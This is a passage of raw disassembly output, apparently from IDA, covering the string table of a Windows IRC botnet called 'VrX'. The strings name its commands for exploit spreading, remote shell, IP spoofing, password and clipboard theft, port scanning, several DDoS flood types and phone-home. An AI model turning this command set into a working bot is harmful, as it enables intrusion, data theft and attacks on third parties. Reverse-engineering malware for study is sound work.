aPm db 'pm',0 ; DATA XREF: sub_401ACD+31EBo
; sub_401ACD+4756o
align 4
; char asc_42B93C[]
asc_42B93C db '-' ; DATA XREF: sub_401ACD+31BBo
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
; char aLoad[]
aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o
align 10h
; char aFlood[]
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o
align 4
; char aRinms[]
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co
align 10h
; char aReconnect_in_m[]
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o
; char aRin[]
aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo
; char aReconnect_in[]
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
; char asc_42B9E4[]
asc_42B9E4 db '-' ; DATA XREF: sub_401ACD+3068o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
; char aExploit[]
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o
; char asc_42BA1C[]
asc_42BA1C db '-' ; DATA XREF: sub_401ACD+2FC5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char aD_D_D_[]
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o
align 4
unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
; char aGet_1[]
aGet_1 db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o
; sub_401ACD+3F71o
unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 10h
unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 4
dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 4
; char asc_42BBB8[]
asc_42BBB8 db '-' ; DATA XREF: sub_401ACD+2D8Eo
db 3, 34h, 2
dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h
dd 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o
align 4
unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 4
; char asc_42BC2C[]
asc_42BC2C db '-' ; DATA XREF: sub_401ACD+2C86o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
; char asc_42BC94[]
asc_42BC94 db '-' ; DATA XREF: sub_401ACD+2B95o
; sub_411BCE+A8o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o
aFindFile db 'Find file',0 ; DATA XREF: sub_401ACD+2ADDo
align 4
dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
aProcessList db 'Process list',0 ; DATA XREF: sub_401ACD+2AC5o
align 4
unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
; char aQuitReconnecti[]
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
; sub_401ACD:loc_409570o ...
align 4
unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
; char aQuitDisconnect[]
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
align 4
; char aQuitLater[]
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
; sub_401ACD+78C1o
align 4
; char aQuitS[]
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
align 4
unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
; char unk_42BDA4
unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 4
unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 4
; char asc_42BDF8[]
asc_42BDF8 db '-' ; DATA XREF: sub_401ACD+2917o
db 3, 34h, 2
dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h
dd 2E736461h, 0
; char aSub[]
aSub db 'sub',0 ; DATA XREF: sub_401ACD+28F1o
unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
; char asc_42BE6C[]
asc_42BE6C db '-' ; DATA XREF: sub_401ACD+2815o
db 3, 34h, 2
dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh
unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
; char asc_42BECC[]
asc_42BECC db '-' ; DATA XREF: sub_401ACD+26CDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 4
; char asc_42BF08[]
asc_42BF08 db '-' ; DATA XREF: sub_401ACD+2658o
db 3, 34h, 2
dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
dd 2E7473h
; char aFull[]
aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o
align 4
unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
; char unk_42BF4C
unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
; char asc_42BF64[]
asc_42BF64 db '-' ; DATA XREF: sub_401ACD:loc_403F8Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+2456o
dd 2Dh
unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
; char asc_42C05C[]
asc_42C05C db '-' ; DATA XREF: sub_401ACD:loc_403EE8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
; char asc_42C114[]
asc_42C114 db '-' ; DATA XREF: sub_401ACD+234Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
; char asc_42C150[]
asc_42C150 db '-' ; DATA XREF: sub_401ACD+2265o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 4
; char asc_42C18C[]
asc_42C18C db '-' ; DATA XREF: sub_401ACD+21FAo
; sub_40BD91+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
; char asc_42C204[]
asc_42C204 db '-' ; DATA XREF: sub_401ACD+2084o
; sub_40BD91+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
; char asc_42C290[]
asc_42C290 db '-' ; DATA XREF: sub_401ACD+1F6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 4
; char asc_42C2CC[]
asc_42C2CC db '-' ; DATA XREF: sub_401ACD+1EFBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o
; sub_401ACD+5B20o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o
; sub_401ACD+5B19o
align 4
; char asc_42C34C[]
asc_42C34C db '-' ; DATA XREF: sub_401ACD+1D0Fo
db 3, 34h, 2
dd 3025A56h
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 4
unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
; char asc_42C3C4[]
asc_42C3C4 db '-' ; DATA XREF: sub_401ACD+1C38o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
; char aFp[]
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo
align 10h
; char aFindpass[]
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo
align 4
; char aNoticeSPhoning[]
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+1BC8o
; char aPhonehome[]
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o
align 4
; char aAs[]
aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co
align 10h
; char aAsc[]
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o
; char unk_42C444
unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
; char aShitycrash[]
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o
; sub_401ACD+1B71o
align 4
; char aTftp[]
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co
align 10h
; char aTftpserver[]
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o
align 4
; char aHttp[]
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o
align 4
; char aHttpserver[]
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo
align 10h
; char aRlogin[]
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o
align 4
; char aRloginserver[]
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o
align 4
; char aCip[]
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo
; char aCurrentip[]
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o
align 4
; char aFdns[]
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o
align 10h
; char aFlushdns[]
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo
align 4
; char aFarp[]
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao
align 4
; char aFlusharp[]
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o
align 10h
; char aGc[]
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o
align 4
; char aGetclip[]
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo
; char asc_42C4EC[]
asc_42C4EC db '-' ; DATA XREF: sub_401ACD+19BDo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
; char Str2[]
Str2 db 'off',0 ; DATA XREF: sub_401ACD+19A2o
; sub_401ACD+3C81o ...
; char aSpoof[]
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo
align 10h
unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 10h
; char aD_S[]
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o
; sub_40B477+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+1902o
; char aWho[]
aWho db 'who',0 ; DATA XREF: sub_401ACD+18E5o
dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401ACD+18D5o
align 4
; char aCmdstop[]
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo
; char aOcmd[]
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o
align 4
; char aOpencmd[]
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o
; char aDll[]
aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do
; char aTestdlls[]
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o
align 4
; char aDrv[]
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o
; char aDriveinfo[]
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo
align 4
; char aUp[]
aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o
align 10h
; char aUptime[]
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o
align 4
; char aPs[]
aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo
align 4
; char aProcs[]
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo
align 4
; char aKosomaky4d[]
aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o
; sub_401ACD+17D5o
align 10h
; char aSi[]
aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo
align 4
; char aSysinfo[]
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o
; char aNi[]
aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o
align 10h
; char aNetinfo[]
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co
; char aClg[]
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o
; char aClearlog[]
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o
align 4
; char aLg[]
aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do
align 4
; char aLog[]
aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o
; char aAl[]
aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o
align 4
; char aAliases[]
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo
; char aT[]
aT: ; DATA XREF: sub_401ACD+16D9o
; .data:00438778o ...
unicode 0, <t>,0
; char aThreads[]
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o
unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
; char unk_42C64C
unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
; char aR3start[]
aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o
; char aI[]
aI: ; DATA XREF: sub_401ACD+165Do
; .data:00438784o ...
unicode 0, <i>,0
; char aId[]
aId db 'id',0 ; DATA XREF: sub_401ACD+1648o
align 4
; char aS_5[]
aS_5: ; DATA XREF: sub_401ACD+1633o
; .data:00438790o ...
unicode 0, <s>,0
; char aStatus[]
aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo
align 4
; char aQ[]
aQ: ; DATA XREF: sub_401ACD+1609o
; .data:off_438768o ...
unicode 0, <q>,0
; char aQuit_0[]
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o
align 10h
; char aDc[]
aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo
align 4
; char aDisconnect[]
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo
align 10h
; char aR[]
aR: ; DATA XREF: sub_401ACD+15B5o
; sub_401ACD+3D8Eo ...
unicode 0, <r>,0
; char aReconnect[]
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o
align 10h
; char aExplist[]
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo
; char aExploitlist[]
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o
; char aCbstats[]
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o
; char aConnectbacksta[]
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
align 10h
; char aTrstats[]
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o
; char aTransferstats[]
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o
align 4
; char aStats[]
aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do
align 10h
; char aScanstats[]
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o
align 4
dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o
align 10h
; char aScanstop[]
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo
align 4
dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo
align 4
; char aSecurestop[]
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o
align 10h
dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o
align 4
; char aClonestop[]
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do
align 4
; char aPsstop[]
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o
align 4
; char aProcsstop[]
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o
align 4
; char aFfstop[]
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo
align 10h
; char aFindfilestop[]
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o
align 10h
dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
; char aTftpstop[]
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o
align 4
; char aPingstop[]
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o
align 4
; char aUdpstop[]
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo
; char aWisdomstop[]
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o
align 4
; char aTsunamistop[]
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co
unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o
; sub_401ACD+13A3o
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401ACD+1302o
; sub_401ACD+139Eo
align 4
dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o
; sub_401ACD+137Ao
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401ACD+12E4o
; sub_401ACD+1375o
align 4
dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o
; sub_401ACD+13F5o
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401ACD+1284o
; sub_401ACD+13F0o
align 4
dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
; sub_401ACD+13CCo
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401ACD+1266o
; sub_401ACD+13C7o
align 4
; char aPacketstop[]
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o
align 4
dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo
; sub_401ACD+12C8o
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401ACD+11F6o
; sub_401ACD+12C3o
align 10h
; char aWonkstop[]
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo
align 4
dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o
; sub_401ACD+12AAo
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401ACD+11CDo
; sub_401ACD+12A5o
align 4
; char aTarga3stop[]
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o
align 4
dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o
; sub_401ACD+1328o
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401ACD+11A4o
; sub_401ACD+1323o
align 4
; char aSkysynstop[]
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo
align 4
dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
; sub_401ACD+124Ao
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401ACD+117Bo
; sub_401ACD+1245o
align 4
; char aSynstop[]
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o
dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o
; sub_401ACD+122Co
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401ACD+1152o
; sub_401ACD+1227o
align 4
; char aDdos_stop[]
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_401ACD+1139o
align 4
dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401ACD+1129o
align 4
; char aRedirectstop[]
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o
align 4
dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
aLogList db 'Log list',0 ; DATA XREF: sub_401ACD+1100o
align 10h
; char aLogstop[]
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
; char aHttpstop[]
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo
align 4
dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o
; char aRloginstop[]
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o
align 10h
dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao
; char aSocks4stop[]
